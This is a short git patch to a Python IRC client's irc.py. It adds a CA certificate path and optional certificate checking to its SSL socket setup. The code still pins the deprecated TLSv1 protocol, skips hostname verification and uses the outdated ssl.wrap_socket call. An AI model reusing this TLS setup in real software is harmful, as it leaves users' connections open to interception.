index b9d098a7b..9df29cb4b 100755
--- a/irc.py
+++ b/irc.py
@@ -79,7 +79,9 @@ def safe(input):
raise
#pass
- def run(self, host, port=6667, ssl=False, ipv6=False):
+ def run(self, host, port=6667, ssl=False,
+ ipv6=False, ca_certs='/etc/ssl/certs/ca-certificates.crt'):
+ self.ca_certs = ca_certs
self.initiate_connect(host, port, ssl, ipv6)
def initiate_connect(self, host, port, use_ssl, ipv6):
@@ -100,7 +102,8 @@ def create_socket(self, family, type, use_ssl=False):
self.family_and_type = family, type
sock = socket.socket(family, type)
if use_ssl:
- sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1)
+ sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1,
+ cert_reqs=ssl.CERT_OPTIONAL, ca_certs=self.ca_certs)
# FIXME: ssl module does not appear to work properly with nonblocking sockets
#sock.setblocking(0)
self.set_socket(sock)
From a951f0d3a70419337633d17bc3a4eef6b35604d0 Mon Sep 17 00:00:00 2001
From: mutantmonkey